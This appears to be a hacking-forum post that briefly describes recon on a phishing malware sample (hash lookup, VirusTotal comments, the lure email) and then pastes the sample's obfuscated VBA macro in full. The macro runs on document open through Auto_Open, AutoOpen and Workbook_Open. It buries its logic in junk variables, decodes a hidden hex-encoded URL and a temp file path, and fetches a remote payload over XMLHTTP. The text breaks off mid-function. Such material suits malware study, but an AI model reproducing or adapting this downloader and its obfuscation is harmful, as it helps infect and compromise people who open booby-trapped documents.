EvilZone

In addition to that:

Once you downloaded the sample you can easily execute this command:
#root md5sum 048714ed23c86a32f085cc0a4759875219bdcb0eb61dabb2ba03de09311a1827
eb6db8890657f982118699f019812fdd  048714ed23c86a32f085cc0a4759875219bdcb0eb61dabb2ba03de09311a1827

Once you have the hash you can do a recon if someone already posted it. It will give you an overview how that ware was delivered to their targets. In doing this:
Go to VT and locate the comments most white hats post additional information for this sample, it was a phishing with the following details:

From: "Tracey Smith"
Subject: Card Receipt
Date: Thu, 18 Dec 2014 09:26:42 +0200

Hi

Please find attached receipt of payment made to us today

Regards

So that Macro  for the sample ^ is posted here: http://pastebin.com/MEnNu1g1

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function HexToString(ByVal RltjOJKINyryd As String) As String
Dim pFJLDdFkUPE As String
Dim PGTfNMAmNkwKsJw As String
Dim aNLFYUrNmr As Long
For aNLFYUrNmr = 1 To Len(RltjOJKINyryd) Step 2
Dim UnYTmOaJ, dwfNUtKO, JkWmMbPn As String
Dim lgeiGvhi, ghdlpEDo, phxTRUqp As String
lgeiGvhi = "           HWEOSY               "
ghdlpEDo = LTrim(lgeiGvhi)
phxTRUqp = RTrim(ghdlpEDo)

UnYTmOaJ = "           TRYHYE               "
Dim pDPhCIPw, FOlPprZf, lRNtxvlt As String
pDPhCIPw = "           LPIIME               "
FOlPprZf = LTrim(pDPhCIPw)
lRNtxvlt = RTrim(FOlPprZf)

dwfNUtKO = LTrim(UnYTmOaJ)
Dim OpYlooAl, smWdKYqD, nqaHVkxw As String
OpYlooAl = "           FVWTRU               "
smWdKYqD = LTrim(OpYlooAl)
nqaHVkxw = RTrim(smWdKYqD)

JkWmMbPn = RTrim(dwfNUtKO)

Dim yWoMJQpK, laWClbde, jSvPjALA As String
yWoMJQpK = "           AOLUOM               "
laWClbde = LTrim(yWoMJQpK)
jSvPjALA = RTrim(laWClbde)

pFJLDdFkUPE = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(RltjOJKINyryd, aNLFYUrNmr, 2)))
Dim aTvMDjLw, EJDFxFZH, KULkZbFv As String
Dim dENlEEfa, iRpRVIQz, rTmHlSoe As String
dENlEEfa = "           DEZFYO               "
iRpRVIQz = LTrim(dENlEEfa)
rTmHlSoe = RTrim(iRpRVIQz)

aTvMDjLw = "           COJLLQ               "
Dim lipjLcgv, VeKQyKyh, EBbyldVi As String
lipjLcgv = "           JPJAER               "
VeKQyKyh = LTrim(lipjLcgv)
EBbyldVi = RTrim(VeKQyKyh)

EJDFxFZH = LTrim(aTvMDjLw)
Dim npRWTBuJ, GNPbQPlb, ksBlmizL As String
npRWTBuJ = "           EFGQNP               "
GNPbQPlb = LTrim(npRWTBuJ)
ksBlmizL = RTrim(GNPbQPlb)

KULkZbFv = RTrim(EJDFxFZH)

Dim AxLTBCKs, DZTIAQXw, QdimbDAW As String
AxLTBCKs = "           SCPBFN               "
DZTIAQXw = LTrim(AxLTBCKs)
QdimbDAW = RTrim(DZTIAQXw)

PGTfNMAmNkwKsJw = PGTfNMAmNkwKsJw & pFJLDdFkUPE
Next aNLFYUrNmr
Dim isbTfpXQ, lksIHCBX, TcVQkQeu As String
Dim JNTkITOG, SaHEeOuH, IaNGcFRJ As String
JNTkITOG = "           ZFKFOO               "
SaHEeOuH = LTrim(JNTkITOG)
IaNGcFRJ = RTrim(SaHEeOuH)

isbTfpXQ = "           ZJABWU               "
Dim ogTyVdBn, FqfnsIHk, UArszGyW As String
ogTyVdBn = "           LVYEWK               "
FqfnsIHk = LTrim(ogTyVdBn)
UArszGyW = RTrim(FqfnsIHk)

lksIHCBX = LTrim(isbTfpXQ)
Dim oPzyHmld, cniPXyTW, NSxRTEfg As String
oPzyHmld = "           MAAJTM               "
cniPXyTW = LTrim(oPzyHmld)
NSxRTEfg = RTrim(cniPXyTW)

TcVQkQeu = RTrim(lksIHCBX)

Dim OegXFLJU, WoaBhYWJ, ugDzKmVz As String
OegXFLJU = "           HDWUIV               "
WoaBhYWJ = LTrim(OegXFLJU)
ugDzKmVz = RTrim(WoaBhYWJ)

HexToString = PGTfNMAmNkwKsJw
End Function


Sub Auto_Open()
Dim qFKFhFjf, HPboZoiy, wTiEGRBC As String
Dim GsjPJqlW, rzxfXXRE, YfQiTlfC As String
Dim xMaeKqUG, QPuYVXLc, fXwnUlZJ As String
xMaeKqUG = "           AYNGYG               "
QPuYVXLc = LTrim(xMaeKqUG)
fXwnUlZJ = RTrim(QPuYVXLc)

GsjPJqlW = "           PGIYYH               "
Dim LSrTNFPP, JxUkVHjo, eZlmnRll As String
LSrTNFPP = "           MRHBFX               "
JxUkVHjo = LTrim(LSrTNFPP)
eZlmnRll = RTrim(JxUkVHjo)

rzxfXXRE = LTrim(GsjPJqlW)
Dim PtsSICQZ, TywBeaoE, AuYqcyYR As String
PtsSICQZ = "           VJIVOK               "
TywBeaoE = LTrim(PtsSICQZ)
AuYqcyYR = RTrim(TywBeaoE)

YfQiTlfC = RTrim(rzxfXXRE)

Dim vFNlDuEC, rOIFNZwG, ORhodCdY As String
vFNlDuEC = "           MNSZNX               "
rOIFNZwG = LTrim(vFNlDuEC)
ORhodCdY = RTrim(rOIFNZwG)

qFKFhFjf = "           DNISFD               "
Dim AoXeyvaB, DgIyIdtp, BmmopNim As String
Dim UoeXHyeU, plkHbESa, vpcmTgVO As String
UoeXHyeU = "           DCYMMY               "
plkHbESa = LTrim(UoeXHyeU)
vpcmTgVO = RTrim(plkHbESa)

AoXeyvaB = "           SHSQJF               "
Dim WWNXfJYo, iaSBGTOl, yShSDUhL As String
WWNXfJYo = "           XOFUWV               "
iaSBGTOl = LTrim(WWNXfJYo)
yShSDUhL = RTrim(iaSBGTOl)

DgIyIdtp = LTrim(AoXeyvaB)
Dim elPWeOdq, BmMucDPs, MwrlKKif As String
elPWeOdq = "           IVMZLQ               "
BmMucDPs = LTrim(elPWeOdq)
MwrlKKif = RTrim(BmMucDPs)

BmmopNim = RTrim(DgIyIdtp)

Dim oialgEQG, avJryPNl, YmbvltJq As String
oialgEQG = "           LWJPEN               "
avJryPNl = LTrim(oialgEQG)
YmbvltJq = RTrim(avJryPNl)

HPboZoiy = LTrim(qFKFhFjf)
Dim wscQkRqh, eJvUoCqR, BKILEaIY As String
Dim CLTQTDTe, sOQhPbJQ, FWNplCbt As String
CLTQTDTe = "           FTHUNR               "
sOQhPbJQ = LTrim(CLTQTDTe)
FWNplCbt = RTrim(sOQhPbJQ)

wscQkRqh = "           POOGSH               "
Dim fjXdTxjz, bxIhiqld, cuszydNQ As String
fjXdTxjz = "           TMSGRD               "
bxIhiqld = LTrim(fjXdTxjz)
cuszydNQ = RTrim(bxIhiqld)

eJvUoCqR = LTrim(wscQkRqh)
Dim SMizZVEf, UWlfCzag, EXZbkuvh As String
SMizZVEf = "           BQYYYL               "
UWlfCzag = LTrim(SMizZVEf)
EXZbkuvh = RTrim(UWlfCzag)

BKILEaIY = RTrim(eJvUoCqR)

Dim oRMWPUyf, FbAhCzCy, UHlaFodO As String
oRMWPUyf = "           LYDVFZ               "
FbAhCzCy = LTrim(oRMWPUyf)
UHlaFodO = RTrim(FbAhCzCy)

wTiEGRBC = RTrim(HPboZoiy)

Dim nNFoRvOL, yXwEJLnQ, QJrBrgkZ As String
Dim TleXGoJv, MponWMeu, xwcmRkSn As String
TleXGoJv = "           YLASTG               "
MponWMeu = LTrim(TleXGoJv)
xwcmRkSn = RTrim(MponWMeu)

nNFoRvOL = "           ZJPTPV               "
Dim LuNXdMmN, ydSBFIcq, klvzjxAw As String
LuNXdMmN = "           WGFIMB               "
ydSBFIcq = LTrim(LuNXdMmN)
klvzjxAw = RTrim(ydSBFIcq)

yXwEJLnQ = LTrim(nNFoRvOL)
Dim ATqLIlRJ, xTmteczL, lYRjcZbM As String
ATqLIlRJ = "           MRUAOE               "
xTmteczL = LTrim(ATqLIlRJ)
lYRjcZbM = RTrim(xTmteczL)

QJrBrgkZ = RTrim(yXwEJLnQ)

Dim PNqEppLj, gWLBxRPi, MJnlPBAN As String
PNqEppLj = "           UJXGNH               "
gWLBxRPi = LTrim(PNqEppLj)
MJnlPBAN = RTrim(gWLBxRPi)

CYNHXUNLXHY
End Sub
Sub AutoOpen()
Dim ldZStYCh, UeIhqkoV, pgXpMGKk As String
Dim lfwjSThj, WbPqweBP, pgHFAFql As String
Dim FWVjGpkK, eQrWWWEn, TXlFRldM As String
FWVjGpkK = "           PYBXTG               "
eQrWWWEn = LTrim(FWVjGpkK)
TXlFRldM = RTrim(eQrWWWEn)

lfwjSThj = "           YNGRKL               "
Dim BVAHICSX, VItZYBlm, pFJToDwT As String
BVAHICSX = "           VPZRTA               "
VItZYBlm = LTrim(BVAHICSX)
pFJToDwT = RTrim(VItZYBlm)

WbPqweBP = LTrim(lfwjSThj)
Dim tSKfWJqn, NDebhXIA, XDdQONyZ As String
tSKfWJqn = "           OUVSGG               "
NDebhXIA = LTrim(tSKfWJqn)
XDdQONyZ = RTrim(NDebhXIA)

pgHFAFql = RTrim(WbPqweBP)

Dim PxNwvkMj, hkIJSSQo, WfhsBuEN As String
PxNwvkMj = "           NJSELA               "
hkIJSSQo = LTrim(PxNwvkMj)
WfhsBuEN = RTrim(hkIJSSQo)

ldZStYCh = "           BGFUDN               "
Dim CyWujNvz, XJvMgztn, iCqCJHiQ As String
Dim VfEWlznR, nbKGzbpV, GhVliqwY As String
VfEWlznR = "           XNLLOR               "
nbKGzbpV = LTrim(VfEWlznR)
GhVliqwY = RTrim(nbKGzbpV)

CyWujNvz = "           CFQDXZ               "
Dim bwOqlbAJ, cudVkAuj, PdBaMhpA As String
bwOqlbAJ = "           QXYGVG               "
cudVkAuj = LTrim(bwOqlbAJ)
PdBaMhpA = RTrim(cudVkAuj)

XJvMgztn = LTrim(CyWujNvz)
Dim OPsFVxYy, RQwNkAri, nSYsSTAo As String
OPsFVxYy = "           VYIBHT               "
RQwNkAri = LTrim(OPsFVxYy)
nSYsSTAo = RTrim(RQwNkAri)

iCqCJHiQ = RTrim(XJvMgztn)

Dim ynwGeBkj, VJsnMyYM, ESMWunvS As String
ynwGeBkj = "           JRAWCQ               "
VJsnMyYM = LTrim(ynwGeBkj)
ESMWunvS = RTrim(VJsnMyYM)

UeIhqkoV = LTrim(ldZStYCh)
Dim igVYPGfA, rhoKtMQZ, QWpFWsQK As String
Dim QdlPKvzN, NebfVpfI, gLRKrWbj As String
QdlPKvzN = "           IGPYYX               "
NebfVpfI = LTrim(QdlPKvzN)
gLRKrWbj = RTrim(NebfVpfI)

igVYPGfA = "           EQCDWW               "
Dim EnzJaTOc, GYFMZlSU, DkjUnmlu As String
EnzJaTOc = "           DBGTFJ               "
GYFMZlSU = LTrim(EnzJaTOc)
DkjUnmlu = RTrim(GYFMZlSU)

rhoKtMQZ = LTrim(igVYPGfA)
Dim JhFROjfJ, SjBHrmQL, IjozvboM As String
JhFROjfJ = "           ZXXMOZ               "
SjBHrmQL = LTrim(JhFROjfJ)
IjozvboM = RTrim(SjBHrmQL)

QWpFWsQK = RTrim(rhoKtMQZ)

Dim xZFFclXW, acxoQDFS, YlrEViTR As String
xZFFclXW = "           NTPMUW               "
acxoQDFS = LTrim(xZFFclXW)
YlrEViTR = RTrim(acxoQDFS)

pgXpMGKk = RTrim(UeIhqkoV)

Dim kEApfSlH, CvoRniqU, AlHBDZzb As String
Dim spOCqUlB, bNFnhlTU, FHMtwrJh As String
spOCqUlB = "           XFJSGA               "
bNFnhlTU = LTrim(spOCqUlB)
FHMtwrJh = RTrim(bNFnhlTU)

kEApfSlH = "           HWBCDS               "
Dim gouMlZgP, ngLCWjlM, bBxOLlVl As String
gouMlZgP = "           YHJYVH               "
ngLCWjlM = LTrim(gouMlZgP)
bBxOLlVl = RTrim(ngLCWjlM)

CvoRniqU = LTrim(kEApfSlH)
Dim sKkGMRfW, iLAagIQX, eMQdODoC As String
sKkGMRfW = "           SPQNGO               "
iLAagIQX = LTrim(sKkGMRfW)
eMQdODoC = RTrim(iLAagIQX)

AlHBDZzb = RTrim(CvoRniqU)

Dim VLZQkCWr, EGpuRlDX, iPKAJDRD As String
VLZQkCWr = "           UENQGJ               "
EGpuRlDX = LTrim(VLZQkCWr)
iPKAJDRD = RTrim(EGpuRlDX)

    Auto_Open
End Sub
Sub Workbook_Open()
Dim aUrkZCKq, fDHmrQXm, bLZcYbBT As String
Dim husthSVT, RCkImcpf, uoYZrWKU As String
Dim QILqclly, NcVFErTF, ZOdIdAfi As String
QILqclly = "           ONXLXL               "
NcVFErTF = LTrim(QILqclly)
ZOdIdAfi = RTrim(NcVFErTF)

husthSVT = "           VSYHKE               "
Dim qyTNWKsW, xskexYgy, OkryBllj As String
qyTNWKsW = "           QBIJNJ               "
xskexYgy = LTrim(qyTNWKsW)
OkryBllj = RTrim(xskexYgy)

RCkImcpf = LTrim(husthSVT)
Dim lnTQxIbm, gAHCJSCw, qZNoqJmx As String
lnTQxIbm = "           HAKCEQ               "
gAHCJSCw = LTrim(lnTQxIbm)
qZNoqJmx = RTrim(gAHCJSCw)

uoYZrWKU = RTrim(RCkImcpf)

Dim jdYxMHwJ, WifJuqfO, nrXslTtA As String
jdYxMHwJ = "           HSZEED               "
WifJuqfO = LTrim(jdYxMHwJ)
nrXslTtA = RTrim(WifJuqfO)

aUrkZCKq = "           BZHKZA               "
Dim COrxctgF, oHHbBLlB, unldCWVc As String
Dim uPluOrwG, wnbPGGUc, VQFRvdjJ As String
uPluOrwG = "           LAPJZS               "
wnbPGGUc = LTrim(uPluOrwG)
VQFRvdjJ = RTrim(wnbPGGUc)

COrxctgF = "           CEHWNR               "
Dim SbpPNcdC, PpSxVbKw, XhvbndWY As String
SbpPNcdC = "           JVLAFD               "
PpSxVbKw = LTrim(SbpPNcdC)
XhvbndWY = RTrim(PpSxVbKw)

oHHbBLlB = LTrim(COrxctgF)
Dim poWEiyGC, tptGZqdB, apgaXgPN As String
poWEiyGC = "           QKBMWC               "
tptGZqdB = LTrim(poWEiyGC)
apgaXgPN = RTrim(tptGZqdB)

unldCWVc = RTrim(oHHbBLlB)

Dim CNCoyhDF, AXRElQTY, mdwgpKMp As String
CNCoyhDF = "           DJGTBL               "
AXRElQTY = LTrim(CNCoyhDF)
mdwgpKMp = RTrim(AXRElQTY)

fDHmrQXm = LTrim(aUrkZCKq)
Dim QlLeZhio, UlehXlTp, ZmdAjves As String
Dim jNjjPJgf, LsRqlgVU, izPFvaph As String
jNjjPJgf = "           TLSRJB               "
LsRqlgVU = LTrim(jNjjPJgf)
izPFvaph = RTrim(LsRqlgVU)

QlLeZhio = "           KDMVJO               "
Dim agkBkfSu, BNWShhkT, qyUGKrwH As String
agkBkfSu = "           VLCOCO               "
BNWShhkT = LTrim(agkBkfSu)
qyUGKrwH = RTrim(BNWShhkT)

UlehXlTp = LTrim(QlLeZhio)
Dim rhTOSoOP, BjGWuduQ, WjBuAkRS As String
rhTOSoOP = "           IXKXQV               "
BjGWuduQ = LTrim(rhTOSoOP)
WjBuAkRS = RTrim(BjGWuduQ)

ZmdAjves = RTrim(UlehXlTp)

Dim UdPevOJn, dikcQrOk, KeNKBbnp As String
UdPevOJn = "           TCIZIE               "
dikcQrOk = LTrim(UdPevOJn)
KeNKBbnp = RTrim(dikcQrOk)

bLZcYbBT = RTrim(fDHmrQXm)

Dim biuFJIhl, teForeiq, OVxEjvBz As String
Dim hSGxdrxI, KCrjXAyz, yDoMadkP As String
hSGxdrxI = "           RSBUTT               "
KCrjXAyz = LTrim(hSGxdrxI)
yDoMadkP = RTrim(KCrjXAyz)

biuFJIhl = "           MPGSZP               "
Dim mntVotJY, YYJaQLMH, RjmDOWbh As String
mntVotJY = "           IBJIKR               "
YYJaQLMH = LTrim(mntVotJY)
RjmDOWbh = RTrim(YYJaQLMH)

teForeiq = LTrim(biuFJIhl)
Dim uwJHwjiN, exazHmTa, Vxqfqbez As String
uwJHwjiN = "           PBCNEZ               "
exazHmTa = LTrim(uwJHwjiN)
Vxqfqbez = RTrim(exazHmTa)

OVxEjvBz = RTrim(teForeiq)

Dim pvMhSkeH, GlZPBSMU, mhpysuSb As String
pvMhSkeH = "           DKONNA               "
GlZPBSMU = LTrim(pvMhSkeH)
mhpysuSb = RTrim(GlZPBSMU)

    Auto_Open
End Sub

Sub CYNHXUNLXHY()
Dim xEDlunVH, lEVRATwK, fRiHXOLL As String
Dim UUFVGcUE, XxLAWoLs, vIiwRYZT As String
Dim jyGRJRnt, Ljevnzpv, iuozYDwu As String
jyGRJRnt = "           VQMEYN               "
Ljevnzpv = LTrim(jyGRJRnt)
iuozYDwu = RTrim(Ljevnzpv)

UUFVGcUE = "           YBMDTX               "
Dim SBUCWgns, VtlNceRx, qqyeBJUU As String
SBUCWgns = "           JQTISO               "
VtlNceRx = LTrim(SBUCWgns)
qqyeBJUU = RTrim(VtlNceRx)

XxLAWoLs = LTrim(UUFVGcUE)
Dim GNWYhpcG, QNtKPgWJ, YagrtllK As String
GNWYhpcG = "           AFNWNB               "
QNtKPgWJ = LTrim(GNWYhpcG)
YagrtllK = RTrim(QNtKPgWJ)

vIiwRYZT = RTrim(XxLAWoLs)

Dim xZOfkYwn, zvkIRafl, YlBeJxtp As String
xZOfkYwn = "           LWEBGO               "
zvkIRafl = LTrim(xZOfkYwn)
YlBeJxtp = RTrim(zvkIRafl)

xEDlunVH = "           KEXFWU               "
Dim SvDDNnlr, VTbHZfcg, pQsLrznv As String
Dim OxeZicNN, sUjxJWOl, ncxaCYWz As String
OxeZicNN = "           GTYPEG               "
sUjxJWOl = LTrim(OxeZicNN)
ncxaCYWz = RTrim(sUjxJWOl)

SvDDNnlr = "           JVIEFG               "
Dim OHYeCZez, WClybjyd, ietoatpc As String
OHYeCZez = "           CJILZO               "
WClybjyd = LTrim(OHYeCZez)
ietoatpc = RTrim(WClybjyd)

VTbHZfcg = LTrim(SvDDNnlr)
Dim jkTMeLrn, dlGycVnA, ilBkKzVE As String
jkTMeLrn = "           GCKZLH               "
dlGycVnA = LTrim(jkTMeLrn)
ilBkKzVE = RTrim(dlGycVnA)

pQsLrznv = RTrim(VTbHZfcg)

Dim gNXkdBUm, LWESbmvd, SsmchAFH As String
gNXkdBUm = "           XJFOZQ               "
LWESbmvd = LTrim(gNXkdBUm)
SsmchAFH = RTrim(LWESbmvd)

lEVRATwK = LTrim(xEDlunVH)
Dim peNZCaYg, yepFkyrh, arlNSpAk As String
Dim ipKlAjDz, wNVCUeBP, BsdJjbIt As String
ipKlAjDz = "           MFXCVL               "
wNVCUeBP = LTrim(ipKlAjDz)
BsdJjbIt = RTrim(wNVCUeBP)

peNZCaYg = "           QGZLHM               "
Dim VOcSLvKv, XmavJnvC, inDAlgAi As String
VOcSLvKv = "           CENZPF               "
XmavJnvC = LTrim(VOcSLvKv)
inDAlgAi = RTrim(XmavJnvC)

yepFkyrh = LTrim(peNZCaYg)
Dim mklIFVnZ, jlEMoeVE, slFyEuwT As String
mklIFVnZ = "           JCSXSL               "
jlEMoeVE = LTrim(mklIFVnZ)
slFyEuwT = RTrim(jlEMoeVE)

arlNSpAk = RTrim(yepFkyrh)

Dim qXRRdsRr, HJdBnYxW, mSMlDafD As String
qXRRdsRr = "           DRAUDV               "
HJdBnYxW = LTrim(qXRRdsRr)
mSMlDafD = RTrim(HJdBnYxW)

fRiHXOLL = RTrim(lEVRATwK)

Dim wilFzGes, fvpbLXkG, LlKMyjpY As String
Dim RzhclaPS, LKwzvSXm, wrPXipTF As String
RzhclaPS = "           TPINMP               "
LKwzvSXm = LTrim(RzhclaPS)
wrPXipTF = RTrim(LKwzvSXm)

wilFzGes = "           BWNMCY               "
Dim kKAjyqUQ, EVflIVPW, ZIJyYNjm As String
kKAjyqUQ = "           UUZJJU               "
EVflIVPW = LTrim(kKAjyqUQ)
ZIJyYNjm = RTrim(EVflIVPW)

fvpbLXkG = LTrim(wilFzGes)
Dim DFqwwMOP, IFmUHByS, RGRLqeED As String
DFqwwMOP = "           LCEUFV               "
IFmUHByS = LTrim(DFqwwMOP)
RGRLqeED = RTrim(IFmUHByS)

LlKMyjpY = RTrim(fvpbLXkG)

Dim nUzHjpTF, tEOsETxT, PvkYJNgc As String
nUzHjpTF = "           WCDDGV               "
tEOsETxT = LTrim(nUzHjpTF)
PvkYJNgc = RTrim(tEOsETxT)

    IZNSSJCCIKZ HexToString(StrReverse("568756E2E69626F237A6F2F666E696E2564716473756C61656271696E69646271637F2F2A307474786")), Environ(HexToString(StrReverse("05D45445"))) & HexToString(StrReverse("568756E22494841464A4D4A5755495C5"))
End Sub
Function IZNSSJCCIKZ(ByVal SLIPSJGVNVY As String, ByVal HSZAKTQRXVD As String) As Boolean
     Dim CPNTFBEJUZO As Object, LXCKVGNTRWE As Long, KRUSSZJMQME As Long, OISBYEFREAZ() As Byte


Dim EpDilnCn, itwZTWFk, DNeCLhTp As String
Dim IVeHRRfi, CFolPhbH, bBxflDoq As String
Dim Bsqzlgvp, AxbXeSiE, HdRbocls As String
Bsqzlgvp = "           GFTGMJ               "
AxbXeSiE = LTrim(Bsqzlgvp)
HdRbocls = RTrim(AxbXeSiE)

IVeHRRfi = "           UIAONB               "
Dim wXMeBGGB, IzYyAZLp, MiloejXl As String
wXMeBGGB = "           OOQQFX               "
IzYyAZLp = LTrim(wXMeBGGB)
MiloejXl = RTrim(IzYyAZLp)

CFolPhbH = LTrim(IVeHRRfi)
Dim FipUQAIn, PilLyTyZ, ToEtnPEE As String
FipUQAIn = "           AKUWPU               "
PilLyTyZ = LTrim(FipUQAIn)
ToEtnPEE = RTrim(PilLyTyZ)

bBxflDoq = RTrim(CFolPhbH)

Dim nunyJBWl, yeiArlSq, QVGXjGRe As String
nunyJBWl = "           WPBWZK               "
yeiArlSq = LTrim(nunyJBWl)
QVGXjGRe = RTrim(yeiArlSq)

EpDilnCn = "           XQTXHT               "
Dim JjdFWmnF, HaHnLxud, zuZEmppc As String
Dim lcMhrppq, WIopDULT, pvgDLltd As String
lcMhrppq = "           YTZRAI               "
WIopDULT = LTrim(lcMhrppq)
pvgDLltd = RTrim(WIopDULT)

JjdFWmnF = "           MMMEQS               "
Dim ieBSTbTx, loQGudIU, TgcKOaSJ As String
ieBSTbTx = "           OCKQLU               "
loQGudIU = LTrim(ieBSTbTx)
TgcKOaSJ = RTrim(loQGudIU)

HaHnLxud = LTrim(JjdFWmnF)
Dim jmhpLfnl, dmbwdkVl, iwOUUxwm As String
jmhpLfnl = "           GVPPFN               "
dmbwdkVl = LTrim(jmhpLfnl)
iwOUUxwm = RTrim(dmbwdkVl)

zuZEmppc = RTrim(HaHnLxud)

Dim lAeHidHa, VxQqmUIL, JDAXsFCx As String
lAeHidHa = "           VRKXBK               "
VxQqmUIL = LTrim(lAeHidHa)
JDAXsFCx = RTrim(VxQqmUIL)

itwZTWFk = LTrim(EpDilnCn)
Dim yBZlTdXV, zNSRNjlN, CaXHmwJa As String
Dim jinDgjeq, TVYkmzgL, ipMsrbVf As String
jinDgjeq = "           VDDIKL               "
TVYkmzgL = LTrim(jinDgjeq)
ipMsrbVf = RTrim(TVYkmzgL)

yBZlTdXV = "           PFHFUN               "
Dim xLuzChtT, mEPFWkPt, YPxJcyFh As String
xLuzChtT = "           OIJPDP               "
mEPFWkPt = LTrim(xLuzChtT)
YPxJcyFh = RTrim(mEPFWkPt)

zNSRNjlN = LTrim(yBZlTdXV)
Dim whnfVmpn, khPblbUA, djWQDEtE As String
whnfVmpn = "           JXGSJR               "
khPblbUA = LTrim(whnfVmpn)
djWQDEtE = RTrim(khPblbUA)

CaXHmwJa = RTrim(zNSRNjlN)

Dim HjDrMzBm, wsmvucHs, NueLlKIr As String
HjDrMzBm = "           EFTMEL               "
wsmvucHs = LTrim(HjDrMzBm)
NueLlKIr = RTrim(wsmvucHs)

DNeCLhTp = RTrim(itwZTWFk)

Dim pNHzNiMZ, zjUDHgoy, UsgieONC As String
Dim lvHSjXPv, UgWhwUXu, pbppttTn As String
lvHSjXPv = "           BWWUKI               "
UgWhwUXu = LTrim(lvHSjXPv)
pbppttTn = RTrim(UgWhwUXu)

pNHzNiMZ = "           LJQZWG               "
Dim UrlqqRZM, MpyfDkTt, KWOaQlsE As String
UrlqqRZM = "           GDVGLJ               "
MpyfDkTt = LTrim(UrlqqRZM)
KWOaQlsE = RTrim(MpyfDkTt)

zjUDHgoy = LTrim(pNHzNiMZ)
Dim KqZddcXe, FsSvYZlt, OdCPaYJy As String
KqZddcXe = "           XOSEOD               "
FsSvYZlt = LTrim(KqZddcXe)
OdCPaYJy = RTrim(FsSvYZlt)

UsgieONC = RTrim(zjUDHgoy)

Dim PAXbqGug, hcRWcpVy, WlshPRHV As String
PAXbqGug = "           NMPTSD               "
hcRWcpVy = LTrim(PAXbqGug)
WlshPRHV = RTrim(hcRWcpVy)

    Set CPNTFBEJUZO = CreateObject("MSXML2.XMLHTTP")
    CPNTFBEJUZO.Open "GET", SLIPSJGVNVY, False
Dim mTQzdIBs, OwJTklqM, sYybaJMf As String
Dim DXWxSIzk, zSaNJlfN, jZyECtbI As String
Dim xbxdrdkg, BPQyDPaI, fnJPLwdj As String
xbxdrdkg = "           IYHZAP               "
BPQyDPaI = LTrim(xbxdrdkg)
fnJPLwdj = RTrim(BPQyDPaI)

DXWxSIzk = "           PUCBEA               "
Dim HTsHjVHm, zQVLKQMT, gJPXmbCH As String
HTsHjVHm = "           LAMTXA               "
zQVLKQMT = LTrim(HTsHjVHm)
gJPXmbCH = RTrim(zQVLKQMT)

zSaNJlfN = LTrim(DXWxSIzk)
Dim RgajytQy, nhqZnoou, whmFWfYi As String
RgajytQy = "           XWEDWX               "
nhqZnoou = LTrim(RgajytQy)
whmFWfYi = RTrim(nhqZnoou)

jZyECtbI = RTrim(zSaNJlfN)

Dim ayyPGJBs, MxCwYVfG, vkRJLlyU As String
ayyPGJBs = "           GLLLHU               "
MxCwYVfG = LTrim(ayyPGJBs)
vkRJLlyU = RTrim(MxCwYVfG)

mTQzdIBs = "           NVLGHA               "
Dim TpEEMGIG, KhhYxESN, HaKlmTkv As String
Dim lgUjuYyD, ItDWdkkw, qhzFXGaG As String
lgUjuYyD = "           NHJXFN               "
ItDWdkkw = LTrim(lgUjuYyD)
qhzFXGaG = RTrim(ItDWdkkw)

TpEEMGIG = "           FHZVQX               "
Dim RnvFWlUf, HYqJxuPc, zSCMBWFI As String
RnvFWlUf = "           DVNEQQ               "
HYqJxuPc = LTrim(RnvFWlUf)
zSCMBWFI = RTrim(HYqJxuPc)

KhhYxESN = LTrim(TpEEMGIG)
Dim OdWGGkPn, kKXPTPPH, dLuXNFiJ As String
OdWGGkPn = "           JPWJCO               "
kKXPTPPH = LTrim(OdWGGkPn)
dLuXNFiJ = RTrim(kKXPTPPH)

HaKlmTkv = RTrim(KhhYxESN)

Dim VBMYFsvf, ZWZzaYjy, iHpxfaiC As String
VBMYFsvf = "           DHDJGJ               "
ZWZzaYjy = LTrim(VBMYFsvf)
iHpxfaiC = RTrim(ZWZzaYjy)

OwJTklqM = LTrim(mTQzdIBs)
Dim TEuNBFHc, ARkslLfv, xTAcFCQn As String
Dim mHWcYyjY, CzpkhENN, qKgWwgsI As String
mHWcYyjY = "           UGZIGY               "
CzpkhENN = LTrim(mHWcYyjY)
qKgWwgsI = RTrim(CzpkhENN)

TEuNBFHc = "           XEYTJF               "
Dim IZVNQWvJ, MIPefOAz, uFxyGcTd As String
IZVNQWvJ = "           XPJJXL               "
MIPefOAz = LTrim(IZVNQWvJ)
uFxyGcTd = RTrim(MIPefOAz)

ARkslLfv = LTrim(TEuNBFHc)
Dim rmXJDEif, NwuriIRg, WwjhASzj As String
rmXJDEif = "           OVNAQI               "
NwuriIRg = LTrim(rmXJDEif)
WwjhASzj = RTrim(NwuriIRg)

xTAcFCQn = RTrim(ARkslLfv)

Dim CUYJcLBX, AZgsPfJF, uvXYCOIT As String
CUYJcLBX = "           YCZFKG               "
AZgsPfJF = LTrim(CUYJcLBX)
uvXYCOIT = RTrim(AZgsPfJF)

sYybaJMf = RTrim(OwJTklqM)

Dim yXxxvqYN, PJtJQYcJ, hSSdBahO As String
Dim sjXgKUcx, FAqoAtuH, zkjSUHlv As String
sjXgKUcx = "           ZZZEWM               "
FAqoAtuH = LTrim(sjXgKUcx)
zkjSUHlv = RTrim(FAqoAtuH)

yXxxvqYN = "           JGZSIJ               "
Dim PDFUVsWW, OvklXfnm, WRrxczRR As String
PDFUVsWW = "           JTINDI               "
OvklXfnm = LTrim(PDFUVsWW)
WRrxczRR = RTrim(OvklXfnm)

PJtJQYcJ = LTrim(yXxxvqYN)
Dim TQSREmjk, ASXHVvFl, xDyzlEqm As String
TQSREmjk = "           XUWMUR               "
ASXHVvFl = LTrim(TQSREmjk)
xDyzlEqm = RTrim(ASXHVvFl)

hSSdBahO = RTrim(PJtJQYcJ)

Dim wgeePSNZ, gRLFALgy, LnAoFfuV As String
wgeePSNZ = "           BVKZFR               "
gRLFALgy = LTrim(wgeePSNZ)
LnAoFfuV = RTrim(gRLFALgy)

    CPNTFBEJUZO.Send "sdfdsfdsf"


Dim ojjmZKLv, mxecrYXO, luYqzIZi As String
Dim bVZDxMSE, zpJUykwC, jNCqseUT As String
Dim zCgeUYeb, RoEXjrSL, LBInwHVA As String
zCgeUYeb = "           VKSCHM               "
RoEXjrSL = LTrim(zCgeUYeb)
LBInwHVA = RTrim(RoEXjrSL)

bVZDxMSE = "           EIFUXU               "
Dim vODMofkn, QGbCQamQ, OneOIeaq As String
